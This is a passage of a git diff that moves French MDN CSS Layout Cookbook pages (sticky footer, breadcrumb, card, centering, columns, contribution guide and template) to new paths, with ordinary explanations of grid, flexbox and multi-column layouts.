Choix effectués

- -

Dans l'exemple précédent, on utilise une grille CSS pour réaliser ce bas de page adhérant. L'élément .wrapper a une hauteur minimale de 100%, ce qui signifie qu'il est aussi grand que le conteneur dans lequel il est placé. On crée ensuite une grille avec une seule colonne et trois lignes, une pour chaque partie de la disposition.

- -

Le placement automatique de la grille placera les objets selon l'ordre du document source. Le titre vient donc se placer sur la première piste (dimensionnée automatiquement), le contenu vient se placer sur la piste 1fr et le pied de page se retrouve dans la troisième région (dimensionnée automatiquement). La piste du milieu, dimensionnée avec 1fr, occupera tout l'espace disponible et grandira pour remplir l'espace disponible.

- -

Méthodes alternatives

- -

Si vous devez prendre en charge des navigateurs qui ne permettent pas d'utiliser les grilles CSS, vous pouvez utiliser les boîtes flexibles (flexbox) pour avoir une note de bas de page adhérante.

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer-flexbox.html", '100%', 720)}}

- -

On commence de la même façon mais on utilise display:flex plutôt que display:grid sur .wrapper. On définit flex-direction avec la valeur column afin d'avoir une organisation verticale. Pour le contenu principal, on utilise flex-grow: 1 et pour les deux autres éléments, on utilise flex-shrink: 0. Cela évite de les réduire encore lorsque le contenu remplit la zone principale.

- -

Compatibilité des navigateurs

- -

grid-template-rows

- -

{{Compat("css.properties.grid-template-rows")}}

- -

flex-direction

- -

{{Compat("css.properties.flex-direction")}}

- -

flex-grow

- -

{{Compat("css.properties.flex-grow")}}

- -

flex-shrink

- -

{{Compat("css.properties.flex-shrink")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/fr/web/css/layout_cookbook/breadcrumb_navigation/index.html new file mode 100644 index 0000000000..8ba8d1ea7e --- /dev/null +++ b/files/fr/web/css/layout_cookbook/breadcrumb_navigation/index.html @@ -0,0 +1,49 @@ +--- +title: Fil d'Ariane (breadcrumb) +slug: Web/CSS/Layout_cookbook/Navigation_Breadcrumb +tags: + - CSS + - Navigation +translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation +--- +
{{CSSRef}}
+ +

La navigation avec un fil d'Ariane (breadcrumb) permet à un utilisateur de comprendre l'emplacement auquel il se trouve au sein du site web en fournissant un fil d'Ariane qui permette de revenir à la page de départ.

+ +

Links displayed inline with separators

+ +

Spécifications sommaires

+ +

Les différents éléments formant le chemin sont affichés sur une ligne avec un séparateur qui permet d'identifier la hiérarchie entre les pages.

+ +

Exemple appliqué

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/breadcrumb-navigation.html", '100%', 530)}}

+ +
+

Note : Télécharger cet exemple

+
+ +

Choix effectués

+ +

L'ensemble est organisé dans un conteneur flexible. Les séparateurs sont générés à partir de pseudo-éléments et le séparateur choisi ici peut être modifié à votre convenance.

+ +

Accessibilité

+ +

On utilise ici les attributs aria-label et aria-current afin d'aider les utilisateurs à comprendre cette navigation et l'emplacement de la page actuelle dans la structure. Pour plus d'informations, voir les liens ci-après.

+ +

Compatibilité des navigateurs

+ + + +

Boîtes flexibles

+ +

{{Compat("css.properties.flex")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/layout_cookbook/card/index.html b/files/fr/web/css/layout_cookbook/card/index.html new file mode 100644 index 0000000000..f363a49f0d --- /dev/null +++ b/files/fr/web/css/layout_cookbook/card/index.html @@ -0,0 +1,81 @@ +--- +title: Carte +slug: Web/CSS/Layout_cookbook/Carte +tags: + - CSS + - CSS Grid + - Guide + - Recette +translation_of: Web/CSS/Layout_cookbook/Card +--- +

{{CSSRef}}

+ +

Dans ce guide, nous verrons comment créer des cartes (cards en anglais), disposant éventuellement d'un pied de page, qui peuvent être organisée en listes.

+ +

Three card components in a row

+ +

Spécifications sommaires

+ +

Une carte peut contenir différents éléments tels qu'un titre, une image, un contenu texte et un pied de page.

+ +

Chaque carte devrait avoir la même hauteur et les pied de page devrait être placés en bas de la carte.

+ +

Lorsqu'on ajoute des cartes à un ensemble de cartes, celles-ci devraient s'organiser sur deux dimensions.

+ +

Recette

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/card.html", '100%', 1720)}}

+ +
+

Note : Télécharger cet exemple.

+
+ +

Choix effectués

+ +

Chaque carte est organisée en utilisant une grille CSS bien qu'elle ne soit que sur une seule dimension. Cela permet en effet d'utiliser le dimensionnement du contenu pour les pistes de la grille. Pour avoir une grille avec une seule colonne, on utilise ce fragment de CSS :

+ +
.card {
+  display: grid;
+  grid-template-rows: max-content 200px 1fr;
+}
+ +

La piste pour le titre est définie avec {{cssxref("max-content")}} ce qui empêche de l'étirer. On décide ensuite que l'image puisse occuper la piste au maximum sur 200 pixels. On définit ensuite la prochaine piste (où le contenu texte se trouve) avec une dimension de 1fr. Autrement dit, la piste dédiée au contenu occupera tout l'espace restant.

+ +

Si la carte possède un pied de page, celui-ci sera dimensionné automatiquement car les lignes ajoutées sur la grille implicite sont dimensionnés automatiquement. Aussi, le pied de page sera suffisamment grand pour contenir l'ensemble de son texte.

+ +
+

Note : Les éléments de différentes cartes ne seront pas alignés les uns avec les autres car chaque carte est une grille indépendante. La fonctionnalité de sous-grille (subgrid), proposée pour la version de niveau 2 du module de spécification CSS Grid, pourrait apporter une solution à ce problème.

+
+ +

Méthodes alternatives

+ +

On pourrait également utiliser les boîtes flexibles pour organiser le contenu d'une carte. Dans cette configuration, il faut laisser la zone dédiée au contenu s'étendre et ne pas rendre les autres éléments flexibles. On pourrait ainsi obtenir simplement cette disposition. Les grilles permettent de dimensionner les pistes au niveau du conteneur, pour les boîtes flexibles, il faut dimensionner chaque élément séparément.

+ +

Pour l'organisation de l'ensemble des cartes (et pas des cartes individuelles), on pourrait également utiliser les boîtes flexibles mais on aurait alors la dernière carte qui occuperait tout le reste d'une ligne et qui serait potentiellement plus larges que les autres cartes. Une autre méthode consisterait à utiliser une disposition multi-colonnes où les cartes s'empileraient sur les différentes colonnes (un point qui peut être souhaitable ou indésirable selon l'effet désiré).

+ +

Voir la recette sur les colonnes pour observer ces méthodes en action.

+ +

Accessibilité

+ +

Selon le contenu des cartes, il est possible voire souhaitable d'appliquer quelques traitements pour améliorer l'accessibilité. Voir l'article Inclusive Components: Card (en anglais), écrit par Heydon Pickering, pour des explications détaillées à ce propos.

+ +

Compatibilité des navigateurs

+ +

Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.

+ + + +

grid-template-columns

+ +

{{Compat("css.properties.grid-template-columns")}}

+ +

grid-template-rows

+ +

{{Compat("css.properties.grid-template-rows")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/layout_cookbook/carte/index.html b/files/fr/web/css/layout_cookbook/carte/index.html deleted file mode 100644 index f363a49f0d..0000000000 --- a/files/fr/web/css/layout_cookbook/carte/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Carte -slug: Web/CSS/Layout_cookbook/Carte -tags: - - CSS - - CSS Grid - - Guide - - Recette -translation_of: Web/CSS/Layout_cookbook/Card ---- -

{{CSSRef}}

- -

Dans ce guide, nous verrons comment créer des cartes (cards en anglais), disposant éventuellement d'un pied de page, qui peuvent être organisée en listes.

- -

Three card components in a row

- -

Spécifications sommaires

- -

Une carte peut contenir différents éléments tels qu'un titre, une image, un contenu texte et un pied de page.

- -

Chaque carte devrait avoir la même hauteur et les pied de page devrait être placés en bas de la carte.

- -

Lorsqu'on ajoute des cartes à un ensemble de cartes, celles-ci devraient s'organiser sur deux dimensions.

- -

Recette

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/card.html", '100%', 1720)}}

- -
-

Note : Télécharger cet exemple.

-
- -

Choix effectués

- -

Chaque carte est organisée en utilisant une grille CSS bien qu'elle ne soit que sur une seule dimension. Cela permet en effet d'utiliser le dimensionnement du contenu pour les pistes de la grille. Pour avoir une grille avec une seule colonne, on utilise ce fragment de CSS :

- -
.card {
-  display: grid;
-  grid-template-rows: max-content 200px 1fr;
-}
- -

La piste pour le titre est définie avec {{cssxref("max-content")}} ce qui empêche de l'étirer. On décide ensuite que l'image puisse occuper la piste au maximum sur 200 pixels. On définit ensuite la prochaine piste (où le contenu texte se trouve) avec une dimension de 1fr. Autrement dit, la piste dédiée au contenu occupera tout l'espace restant.

- -

Si la carte possède un pied de page, celui-ci sera dimensionné automatiquement car les lignes ajoutées sur la grille implicite sont dimensionnés automatiquement. Aussi, le pied de page sera suffisamment grand pour contenir l'ensemble de son texte.

- -
-

Note : Les éléments de différentes cartes ne seront pas alignés les uns avec les autres car chaque carte est une grille indépendante. La fonctionnalité de sous-grille (subgrid), proposée pour la version de niveau 2 du module de spécification CSS Grid, pourrait apporter une solution à ce problème.

-
- -

Méthodes alternatives

- -

On pourrait également utiliser les boîtes flexibles pour organiser le contenu d'une carte. Dans cette configuration, il faut laisser la zone dédiée au contenu s'étendre et ne pas rendre les autres éléments flexibles. On pourrait ainsi obtenir simplement cette disposition. Les grilles permettent de dimensionner les pistes au niveau du conteneur, pour les boîtes flexibles, il faut dimensionner chaque élément séparément.

- -

Pour l'organisation de l'ensemble des cartes (et pas des cartes individuelles), on pourrait également utiliser les boîtes flexibles mais on aurait alors la dernière carte qui occuperait tout le reste d'une ligne et qui serait potentiellement plus larges que les autres cartes. Une autre méthode consisterait à utiliser une disposition multi-colonnes où les cartes s'empileraient sur les différentes colonnes (un point qui peut être souhaitable ou indésirable selon l'effet désiré).

- -

Voir la recette sur les colonnes pour observer ces méthodes en action.

- -

Accessibilité

- -

Selon le contenu des cartes, il est possible voire souhaitable d'appliquer quelques traitements pour améliorer l'accessibilité. Voir l'article Inclusive Components: Card (en anglais), écrit par Heydon Pickering, pour des explications détaillées à ce propos.

- -

Compatibilité des navigateurs

- -

Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.

- - - -

grid-template-columns

- -

{{Compat("css.properties.grid-template-columns")}}

- -

grid-template-rows

- -

{{Compat("css.properties.grid-template-rows")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/layout_cookbook/center_an_element/index.html b/files/fr/web/css/layout_cookbook/center_an_element/index.html new file mode 100644 index 0000000000..c4d1fb52c3 --- /dev/null +++ b/files/fr/web/css/layout_cookbook/center_an_element/index.html @@ -0,0 +1,59 @@ +--- +title: Centrer un élément +slug: Web/CSS/Layout_cookbook/Centrer_un_element +tags: + - Alignement + - CSS + - Layout + - centrer + - flexbox + - recettes +translation_of: Web/CSS/Layout_cookbook/Center_an_element +--- +
{{CSSRef}}
+ +

Comment centrer une boîte dans une autre boîte ? Centrer à la fois horizontalement et verticalement était difficile avant l'arrivée des boîtes flexibles (flexbox), mais c'est désormais beaucoup plus simple grâce aux propriétés du module de spécification Box Alignment.

+ +

an element centered inside a larger box

+ +

Spécifications sommaires

+ +

Centrer un élément à la fois horizontalement et verticalement dans un autre élément.

+ +

Recette

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/center.html", '100%', 720)}}

+ +
+

Note : Télécharger cet exemple

+
+ +

Choix effectués

+ +

Pour centrer une boîte dans une autre, on a donné au contenant une propriété display: flex.

+ +

Ensuite, on a paramétré {{cssxref("align-items")}} avec la valeur center pour centrer la boîte verticalement, et {{cssxref("justify-content")}} avec la valeur center pour centrer horizontalement.

+ +

À l'avenir, nous pourrons peut-être centrer les éléments sans avoir à transformer le parent en contenant flexible, puisque les propriétés de Box Alignment utilisées ici sont aussi faites pour s'appliquer à une disposition en bloc classique.
+ Cependant, sa prise en charge dans ce cas (disposition en bloc) est actuellement limitée ; l'utilisation de Flexbox pour centrer est donc, pour le moment, la technique la plus robuste.

+ +

Compatibilité des navigateurs

+ +

Les différentes méthodes de layout ont chacune leur compatibilité avec les navigateurs. Les tableaux ci-dessous détaillent le support de base pour chaque propriété.

+ + + +

align-items

+ +

{{Compat("css.properties.align-items")}}

+ +

justify-content

+ +

{{Compat("css.properties.justify-content")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/layout_cookbook/centrer_un_element/index.html b/files/fr/web/css/layout_cookbook/centrer_un_element/index.html deleted file mode 100644 index c4d1fb52c3..0000000000 --- a/files/fr/web/css/layout_cookbook/centrer_un_element/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Centrer un élément -slug: Web/CSS/Layout_cookbook/Centrer_un_element -tags: - - Alignement - - CSS - - Layout - - centrer - - flexbox - - recettes -translation_of: Web/CSS/Layout_cookbook/Center_an_element ---- -
{{CSSRef}}
- -

Comment centrer une boîte dans une autre boîte ? Centrer à la fois horizontalement et verticalement était difficile avant l'arrivée des boîtes flexibles (flexbox), mais c'est désormais beaucoup plus simple grâce aux propriétés du module de spécification Box Alignment.

- -

an element centered inside a larger box

- -

Spécifications sommaires

- -

Centrer un élément à la fois horizontalement et verticalement dans un autre élément.

- -

Recette

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/center.html", '100%', 720)}}

- -
-

Note : Télécharger cet exemple

-
- -

Choix effectués

- -

Pour centrer une boîte dans une autre, on a donné au contenant une propriété display: flex.

- -

Ensuite, on a paramétré {{cssxref("align-items")}} avec la valeur center pour centrer la boîte verticalement, et {{cssxref("justify-content")}} avec la valeur center pour centrer horizontalement.

- -

À l'avenir, nous pourrons peut-être centrer les éléments sans avoir à transformer le parent en contenant flexible, puisque les propriétés de Box Alignment utilisées ici sont aussi faites pour s'appliquer à une disposition en bloc classique.
- Cependant, sa prise en charge dans ce cas (disposition en bloc) est actuellement limitée ; l'utilisation de Flexbox pour centrer est donc, pour le moment, la technique la plus robuste.

- -

Compatibilité des navigateurs

- -

Les différentes méthodes de layout ont chacune leur compatibilité avec les navigateurs. Les tableaux ci-dessous détaillent le support de base pour chaque propriété.

- - - -

align-items

- -

{{Compat("css.properties.align-items")}}

- -

justify-content

- -

{{Compat("css.properties.justify-content")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/layout_cookbook/column_layouts/index.html b/files/fr/web/css/layout_cookbook/column_layouts/index.html new file mode 100644 index 0000000000..140cc9a35a --- /dev/null +++ b/files/fr/web/css/layout_cookbook/column_layouts/index.html @@ -0,0 +1,129 @@ +--- +title: Disposition en colonnes +slug: Web/CSS/Layout_cookbook/Disposition_en_colonnes +tags: + - CSS + - Guide + - Multi-col + - flexbox + - grid +translation_of: Web/CSS/Layout_cookbook/Column_layouts +--- +
{{CSSRef}}
+ +

Vous aurez souvent à créer des dispositions organisées en colonnes. CSS fournit différentes méthodes pour parvenir à de telles dispositions. Les grilles CSS ou les boîtes flexibles ou encore les dispositions multi-colonnes peuvent être utilisées et choisir l'une de ces méthodes dépend de ce que l'on veut obtenir. Dans ce guide, nous verrons ces différentes options.

+ +

three different styles of layouts which have two columns in the container.

+ +

Prérequis

+ +

Il existe plusieurs « motifs » qu'on peut vouloir réaliser avec des colonnes :

+ +
    +
  • Un fil continu qui se divise en colonne, à la façon d'un journal papier.
    • +
  • Une seule ligne d'éléments divisée en colonnes qui ont la même hauteur.
    • +
  • Plusieurs lignes et colonnes qui sont alignées.
    • +
+ +

Les « recettes »

+ +

Selon le scénario souhaité, on utilisera différentes méthodes de disposition.

+ +

Un fil continu de contenu - Disposition multi-colonnes

+ +

En créant des colonnes avec une disposition multi-colonne, le texte pourra former un flux continu qui remplira chacune des colonnes à la suite des autres. Les colonnes auront toutes la même taille et il ne sera pas possible de cibler une colonne en particulier ou le contenu d'une colonne en particulier.

+ +

L'espacement entre les colonnes peut être géré avec la propriété {{cssxref("column-gap")}} et il est possible d'ajouter une ligne de délimitation grâce à {{cssxref("column-rule")}}.

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/columns-multicol.html", '100%', 720)}}

+ +
+

Note : Télécharger cet exemple

+
+ +

On utilisera une disposition multi-colonnes lorsque :

+ +
    +
  • On souhaite organiser le texte à la façon d'un journal imprimé
    • +
  • On a un ensemble de petits éléments qu'on souhaite fragmenter en colonnes
    • +
  • Il n'est pas nécessaire de cibler une colonne en particulier pour des raisons de mise en forme.
    • +
+ +

Une seule ligne fragmentée en cellules de même taille — Utilisation des boîtes flexibles

+ +

Les boîtes flexibles peuvent être utilisées afin de diviser du contenu en colonnes grâce à la propriété {{cssxref("flex-direction")}} utilisée avec la valeur row. Toutefois, une boîte flexible cible les éléments à l'intérieur du conteneur flexible et placera chaque enfant direct dans une nouvelle colonne. On a donc un comportement différent de celui vu précédemment avec les multi-colonnes.

+ +

À l'heure actuelle, il n'existe pas de méthode qui permette de créer une ligne entre les objets flexibles et la prise en charge des navigateurs pour les propriétés {{cssxref("column-gap")}} et {{cssxref("row-gap")}} est limitée. Pour créer un espace entre les éléments, il faudra donc utiliser une marge.

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/columns-flexbox.html", '100%', 720)}}

+ +
+

Note : Télécharger cet exemple

+
+ +

Les boîtes flexibles peuvent également être utilisées afin de créer des dispositions où les objets flexibles « passent à la ligne » en utilisant la propriété {{cssxref("flex-wrap")}} et la valeur wrap sur le conteneur.  Les nouvelles lignes répartiront l'espace pour cette ligne uniquement, il n'y aura pas d'alignement d'une ligne à l'autre (comme on peut le voir dans l'exemple qui suit). C'est pour cette raison qu'on décrit les boîtes flexibles comme étant une méthode de disposition sur une seul dimension : cette méthode permet de contrôler la disposition en ligne ou en colonne mais pas de gérer les deux à la fois.

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/columns-flexbox-wrapping.html", '100%', 720)}}

+ +
+

Note : Télécharger cet exemple

+
+ +

On utilisera les boîtes flexibles pour :

+ +
    +
  • Organiser des lignes ou colonnes d'objets indépendantes
    • +
  • Aligner les objets sur l'axe orthogonal au sens de lecture
    • +
  • Les cas où l'alignement d'une ligne sur l'autre n'est pas important
    • +
+ +

Aligner des objets en lignes et colonnes — Utilisation d'une grille

+ +

Si on souhaite organiser des objets sur des lignes et sur des colonnes, alors on choisira une grille CSS. La disposition à l'aide d'une grille permet d'organiser les éléments fils d'un contener de la même façon que les boîtes flexibles mais on peut également aligner les lignes et les colonnes. Aussi, si les boîtes flexibles sont une méthode unidimensionnelle, les grilles CSS permettent de jouer sur les deux dimensions.

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/columns-grid.html", '100%', 720)}}

+ +
+

Note : Télécharger cet exemple

+
+ +

On utiliser les grilles CSS lorsque :

+ +
    +
  • On a des éléments/objets à organiser sur plusieurs lignes et colonnes
    • +
  • On souhaite pouvoir aligner les éléments sur les deux axes
    • +
+ +

Compatibilité des navigateurs

+ +

Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.

+ + + +

column-width

+ +

{{Compat("css.properties.column-width")}}

+ +

column-rule

+ +

{{Compat("css.properties.column-rule")}}

+ +

flex

+ +

{{Compat("css.properties.flex")}}

+ +

flex-wrap

+ +

{{Compat("css.properties.flex-wrap")}}

+ +

grid-template-columns

+ +

{{Compat("css.properties.grid-template-columns")}}

+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/layout_cookbook/contribuer_\303\240_une_recette/cookbook_template/index.html" "b/files/fr/web/css/layout_cookbook/contribuer_\303\240_une_recette/cookbook_template/index.html" deleted file mode 100644 index 7223cde7ef..0000000000 --- "a/files/fr/web/css/layout_cookbook/contribuer_\303\240_une_recette/cookbook_template/index.html" +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Cookbook template -slug: Web/CSS/Layout_cookbook/Contribuer_à_une_recette/Cookbook_template -tags: - - CSS - - Meta -translation_of: Web/CSS/Layout_cookbook/Contribute_a_recipe/Cookbook_template ---- -

{{CSSRef}}

- -
Note : Voici un modèle de contenu pour les pages de « recette » CSS. Vous êtes invité⋅e à utiliser cette page comme modèle lorsque vous créez une nouvelle recette.
-Les commentaires en italiques sont des informations sur l'utilisation de telle ou telle partie du modèle.
- -

Une description du problème qu'on souhaite résoudre ou du motif qu'on illustre avec cette recette.

- -

Spécifications sommaires

- -

Que cherche-t-on à faire avec cette recette ? Quel problème résout-on ici ? Il faut expliquer de façon concise ce que l'on souhaite faire.

- -

Recette

- -

Il faudra changer le chemin de la macro pour correspondre à celui de votre exemple une fois que celui-ci a été fusionné sur le dépôt principal. Le dernier paramètre correspond à la hauteur qui peut être adaptée si besoin.

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/center.html", '100%', 720)}}

- -

Il faut modifier le lien pour cibler la version téléchargeable de votre exemple.

- -
-

Note : Télécharger cet exemple.

-
- -

Choix effectués

- -

Expliquez ici les décisions prises pour réaliser cette  recette. Pourquoi avez-vous choisi telle méthode de disposition ? Vous pouvez inclure ici d'autres exemples. Cette section est assez flexible car la complexité d'une recette peut varier grandement.

- -

Méthodes de recours ou alternatives

- -

S'il existe d'autres méthodes ou des méthodes qui permettent une amélioration progressive pour les navigateurs qui ne prennent pas en charge les fonctionnalités récentes utilisées, vous pouvez les décrire ici.

- -

Accessibilité

- -

Inclure ici les aspects spécifiquement liés à l'accessibilité pour cette recette. Cette section peut être omise si rien de notable ne concerne l'accessiblité pour cette recette.

- -

Compatibilité des navigateurs

- -

Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.

- - - -

Inclure ici les données de compatibilité pour les principales propriétés utilisées. Comme exemple, voici comment faire pour inclure les données concernant align-items.

- -

align-items

- -

{{Compat("css.properties.align-items")}}

- -

Voir aussi

- -
    -
  • Liste de liens sur les propriétés concernées : {{Cssxref("example-property")}}
    • -
  • Liens vers des articles qui expliquent comment utiliser telles propriétés en contexte
    • -
  • Liens vers des ressources externes. Il ne faut pas hésiter à pointer vers de bonnes ressources externes mais leur contenu ne doit pas se limiter à des points de détail.
    • -
diff --git "a/files/fr/web/css/layout_cookbook/contribuer_\303\240_une_recette/index.html" "b/files/fr/web/css/layout_cookbook/contribuer_\303\240_une_recette/index.html" deleted file mode 100644 index b356d20339..0000000000 --- "a/files/fr/web/css/layout_cookbook/contribuer_\303\240_une_recette/index.html" +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Contribuer à une recette -slug: Web/CSS/Layout_cookbook/Contribuer_à_une_recette -tags: - - CSS - - Guide - - MDN - - Meta -translation_of: Web/CSS/Layout_cookbook/Contribute_a_recipe ---- -
{{CSSRef}}
- -

Si vous souhaitez contribuer en ajoutant une recette à celles présentées dans cette section de MDN, nous vous expliquons ici quelles étapes suivre pour que vos exemples soient publiés.

- -

Qu'est-ce qu'une « bonne » recette ?

- -

Une bonne recette consiste en la version la plus simple possible d'un motif utile pour concevoir une page web. Chaque ligne de CSS écrite dans la recette doit servir à illustrer le motif. Tout ce qui est purement décoratif pour l'exemple doit être exclus. L'idée est que la recette puisse servir de base à n'importe qui et de pouvoir appliquer ses propres styles sur l'exemple si besoin.

- -
-

Note quant à la traduction et aux recettes en anglais : Une recette (l'exemple interactif, la version téléchargeable et la page MDN) doit d'abord être créée en anglais avant de pouvoir être mise à disposition en français. La suite de ce guide explique en français ce qu'il faut réaliser mais la majeure partie du contenu produit devra être en anglais.

-
- -

Les étapes pour la publication

- -

Une recette se décompose comme suit :

- -
    -
  1. Un exemple interactif, stocké sur le dépôt GitHub des exemples CSS
    2. -
  2. Une version téléchargeable de cet exemple, également stockée sur le dépôt des exemples CSS.
    3. -
  3. Une page MDN, rattachée à la section Livre de recettes CSS qui contient : -
      -
    1. Les spécifications sommaires
      2. -
    2. La recette
      3. -
    3. Les choix effectués
      4. -
    4. Les éventuelles méthodes alternatives (utiles pour l'amélioration progressive)
      5. -
    5. Les points relatifs à l'accessibilité
      6. -
    6. La compatibilité des navigateurs
      7. -
    7. D'éventuelles ressources additionnelles
      8. -
    -
    4. -
- -

1. Construire le motif

- -

Avant de passer de l'exemple à la recette, commencez par écrire votre motif sous la forme d'une simple page HTML. Pensez à ce que vous voulez démontrer/illustrer et visez un résultat aussi simple que possible. Évitez d'utiliser des conventions CSS spécifiques qui ne seraient pas nécessairement connues et qui pourraient complexifier inutilement l'exemple.

- -

Assurez-vous que le code HTML et CSS soit valide et testez le dans différents navigateurs. Vous pouvez tout à fait utiliser des propriétés CSS qui ne sont pas prises en charge par l'ensemble des navigateurs. Vous pourrez inclure les informations de compatibilité dans la page dédiée. Dans certains cas, il pourra être utile de fournir une deuxième version de l'exemple qui illustre des techniques qui permettent de prendre en charge des navigateurs plus anciens.

- -

2. Créer un exemple interactif

- -

Les exemples interactifs que vous voyez sur ces recettes et dans d'autres articles MDN permettent aux visiteurs de modifier le code et d'en voir le résultat sans être submergé⋅e de code superflu. Votre recette pourra utiliser un ou plusieurs exemples interactifs.

- -

Créez un fork du dépôt des exemples CSS puis étudiez le dossier css-cookbook. Ce dernier contient un fichier cookbook-template.html dont vous pouvez repartir pour réaliser votre exemple. Enregistrez le nouveau fichier dans le répertoire css-cookbook avec un nom pertinent. Le modèle de base est commenté afin de vous aider à situer les différentes parties.

- -

Voici les quelques éléments importants.

- -

Il y a une feuille de style pour les panneaux des éditeurs, quelques règles pour la mise en forme de base et un fichier JavaScript qui contient les fonctionnalités de l'éditeur. Ces fichiers doivent être laissés tels quels.

- -

Dans l'en-tête, il y a deux blocs pour le style. Le premier concerne les éléments que le visiteur n'a pas besoin de voir ou de changer pour modifier l'exemple. Le second correspond à ce qui pourra être modifié dans l'exemple. Généralement, on ajoute l'ensemble du CSS provenant de l'exemple dans le premier bloc puis on choisit les règles qu'on souhaite reproduire dans le deuxième bloc. Les règles du deuxième bloc doivent être celles qui illustrent l'essence de l'exemple et qu'un utilisateur pourra modifier afin d'en voir l'effet sur le motif.

- -

Le HTML du composant doit être ajouté deux fois. Pour commencer dans la section avec la classe preview puis dans l'élément textarea playable-html.

- -

Le CSS éditable (celui du second bloc de l'en-tête) doit également être recopié dans la section  playable-css.

- -

Pour voir un exemple existant et comprendre les différentes parties, vous pouvez consulter center.html qui est utilisé sur la page Comment centrer un élément.

- -

Si vous avez créé un fork du dépôt et que vous avez les fichiers CSS et JavaScript avec votre exemple, vous pouvez ouvrir la page dans un navigateur et l'ensemble devrait fonctionner de la même manière que lorsqu'il sera inclus dans une page.

- -

Quelques conseils

- -
    -
  1. N'indentez pas le code CSS et HTML à l'intérieur des textarea par rapport à l'ensemble du document HTML mais reprenez l'indentation depuis la première colonne (voir center.html par exemple).
    2. -
  2. Si vous avez besoins d'images, placez les dans le dossier avec les exemples. Vous pouvez également utiliser une des images déjà présente.
    3. -
  3. Vous pouvez ajuster la hauteur des textarea en modifiant la hauteur dans les styles inline/en incise.
    4. -
- -

3. Créer une version téléchargeable

- -

L'exemple intégré à la page contient tout le code mais seule la partie nécessaire est affichée. Faites une copie du fichier en ajoutant --download au nom. Ainsi, center.html possède une version téléchargeable intitulée center--download.html. Ce fichier devra ressembler à l'exemple initial et contenir une version basique du motif, sur une seule page HTML. Il peut être utile d'inclure les règles CSS applliquées à body et qui sont dans la feuille de style intégrée. Vous pouvez consulter cookbook-template--download.html comme exemple et point de départ.

- -

4. Réaliser une pull request avec votre exemple

- -

Ouvrez une pull request depuis votre fork vers le dépôt des exemples CSS. Nous pourrons ainsi vous aider à apporter les modifications nécessaires pour la créations de la page. De plus, l'exemple devra être fusionné afin de pouvoir être affiché sur une page. Dans la pull request, veuillez écrire une présentation de cette recette et des concepts que vous illustrez.

- -

5. Créer la page sur MDN

- -

Une fois l'exemple fusionné, vous pouvez créer l'article correspondant sur MDN. Pour cela, vous aurez besoin d'un compte et des permissions pour la création de page. Vous pourrez alors créer une page comme sous-page de la section. Cette page modèle pourra vous servir de point de départ pour votre contenu.

- -

Le modèle explique le contenu de chaque section. Vous pouvez également consulter les recettes existantes comme références. Si vous cliquez sur le bouton d'édition en haut de page, vous pourrez ainsi accéder au contenu « brut » de la page et voir comment les macros sont utilisées afin d'intégrer les données de compatibilité ou les exemples interactifs.

- -
-

Note de traduction : Si vous souhaitez effectuer la traduction d'une recette existante, vous pouvez consulter la page modèle en français.

-
- -

Si vous avez besoin d'une aide générale sur l'utilisation de MDN, vous pouvez consulter les pages d'aide.

- -

Si vous avez des questions ou que vous souhaitez que quelqu'un vérifie votre page, n'hésitez pas à demander sur le forum Discourse de MDN ou à venir discuter sur IRC (ces deux canaux sont principalement anglophones).

- -

Voir aussi

- - diff --git a/files/fr/web/css/layout_cookbook/contribute_a_recipe/cookbook_template/index.html b/files/fr/web/css/layout_cookbook/contribute_a_recipe/cookbook_template/index.html new file mode 100644 index 0000000000..7223cde7ef --- /dev/null +++ b/files/fr/web/css/layout_cookbook/contribute_a_recipe/cookbook_template/index.html @@ -0,0 +1,62 @@ +--- +title: Cookbook template +slug: Web/CSS/Layout_cookbook/Contribuer_à_une_recette/Cookbook_template +tags: + - CSS + - Meta +translation_of: Web/CSS/Layout_cookbook/Contribute_a_recipe/Cookbook_template +--- +

{{CSSRef}}

+ +
Note : Voici un modèle de contenu pour les pages de « recette » CSS. Vous êtes invité⋅e à utiliser cette page comme modèle lorsque vous créez une nouvelle recette.
+Les commentaires en italiques sont des informations sur l'utilisation de telle ou telle partie du modèle.
+ +

Une description du problème qu'on souhaite résoudre ou du motif qu'on illustre avec cette recette.

+ +

Spécifications sommaires

+ +

Que cherche-t-on à faire avec cette recette ? Quel problème résout-on ici ? Il faut expliquer de façon concise ce que l'on souhaite faire.

+ +

Recette

+ +

Il faudra changer le chemin de la macro pour correspondre à celui de votre exemple une fois que celui-ci a été fusionné sur le dépôt principal. Le dernier paramètre correspond à la hauteur qui peut être adaptée si besoin.

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/center.html", '100%', 720)}}

+ +

Il faut modifier le lien pour cibler la version téléchargeable de votre exemple.

+ +
+

